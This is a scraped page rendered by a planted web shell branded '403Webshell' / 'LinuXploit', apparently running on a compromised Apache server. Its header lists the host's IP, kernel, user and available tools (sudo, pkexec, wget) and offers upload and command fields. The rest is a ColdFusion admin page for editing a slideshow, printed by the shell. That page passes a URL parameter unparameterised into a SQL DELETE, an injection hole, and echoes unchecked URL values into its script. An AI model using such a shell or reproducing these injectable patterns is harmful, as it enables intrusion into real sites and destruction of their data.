403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/cgny/nympadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/cgny/nympadmin/listingseditpk2017slideshow.cfm
<Cfif not parameterexists(url.id) or not isnumeric(url.id)>
<cfabort></cfif>

<cfcontent type="text/html;charset=iso-8859-1">
<cfprocessingDirective pageencoding="iso-8859-1">
<cfset setEncoding("Form", "ISO-8859-15")>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<link rel="stylesheet" type="text/css" href="/bwwstyles1.css" media="all">




<CFSET CurrentDateTime = #CreateODBCDateTime(Now())#><cfif session.email eq ''><cfset Session.email = -1></cfif><cfif IsDefined("Cookie.email")><cfset Session.email = Cookie.email></cfif>

<cfcontent type="text/html;charset=iso-8859-1">
<cfprocessingDirective pageencoding="iso-8859-1">
<cfset setEncoding("Form", "ISO-8859-15")>
<cfinclude template="header.cfm">


<div id="content">
  <div id="content-header">
  </div>
  <div class="container-fluid" style="margin-left:200px;">


<Cfif parameterexists(url.delete)>
	<Cfquery name="delme" dataSource="#ds#">
		delete from ParentsListingsImages
		where id = #Url.delete#</cfquery>

</Cfif>

<cfoutput>
<span class="header">Edit Multipage Microsite Slideshow</span></strong><br>
<table width=100% cellspacing=0 cellpadding=0 bgcolor=#color#><tr><td></td></tr></table>
<font face=verdana size=-1>
</cfoutput>

<Cfset imagetemp =randrange(1,100000)>



	<!-- UniversalUploader css style file -->
	<link rel="stylesheet" href="universaluploader/universal/style.css?123">
	<!-- Examples css file -->
	<!-- UniversalUploader JavaScript code file -->
	<script type="text/javascript" src="universaluploader/universal/universaluploader.js?123"></script>

<!-- PlaceHolder for UniversalUploader User Interface. Existing content will not be removed.
  UniversalUpload will append own content to the end of this div-->
<div id="universalUploader_holder" >
<noscript><form id="myform" name="myform" action="uploadfiles.php?colid=<?php echo $_GET['colid'];?>%26thesize=<?php echo $_GET['thesize'];?>"  method="post" enctype="multipart/form-data">
<input name="Filedata" type="file"><br>
<input type="submit" value="Upload" />
</form>
 </noscript>
</div>

<!-- Initialization of UniversalUploader object -->
<script type="text/javascript">
universalUploader.init({
	//Your serialNumber
	serialNumber: "00813315924382181212425172175150247912723810191",
	//List of uploaders to render
	uploaders: "drag-and-drop, flash, silverlight, classic",
	//First of correctly initialized uploader will be rendered
	singleUploader : true,
	//determines whether tab header should be displayed. Only for singleUploader mode
	renderTabHeader: false,
	//Id of html element where universalUploader should be rendered
	//If not set, document body used
	holder: "universalUploader_holder",
	//Url to the swf file
	flash_swfUrl : "ElementITMultiPowUpload.swf",
	//Url to the xap file
	silverlight_xapUrl : "universaluploader/universal/uploaders/UltimateUploader.xap",
	//Path to the folder with images (status icons, remove icon) By default images subfolder is used (relative to the html page base path)
	//In these examples we place icons inside universal/images subfolder.
	imagesPath : "universaluploader/universal/images/",
	//Url to the file processing script
	url: "uploadfiles.cfm?id=<Cfoutput>#url.id#</cfoutput>"
});

//File upload complete
universalUploader.bindEventListener("FileUploadComplete", function (uploaderId, file){
	var responselable = document.getElementById("serverresponse");
	if(file.serverResponse) responselable.innerHTML += "<strong>" + file.serverResponse + "</strong>";
});

//File upload error handler
universalUploader.bindEventListener("FileUploadError", function (uploaderId, file, status, msg){
	var responselable = document.getElementById("serverresponse");
	responselable.innerHTML += "File Upload error "+file.name+" status "+status+" message "+msg;
});

universalUploader.bindEventListener("Init", function (inited){
		if(!inited)
			alert("UniversalUploader failed to init!");
});

</script>

  <div id="serverresponse"></div>

<br><br>

	When *all* items get to 100%, press 'next'.
	<p><b>
		<div align="right" style="padding-right: 80%;"><font size=+1><a href="listingseditpk2017slideshow.cfm?id=<cfoutput>#url.id#</cfoutput>">NEXT >>></a></font></b>
<Br><Br>
	<cfquery name="Getpics" DAtasource="#ds#">
		select * from ParentsListingsImages
		order by id
	</cfquery>

<table>
<cfoutput query="getpics">
	<tr><Td>
<img src="https://www.nymetroparents.com/uploads2/#image#" style="max-width: 100px;">
 </Td>
 <td>
<a href="listingseditpk2017slideshow.cfm?id=<cfoutput>#url.id#</cfoutput>&delete=#id#">Delete</a> </td>
 </tr>

</cfoutput></table>

Youez - 2016 - github.com/yon3zu
LinuXploit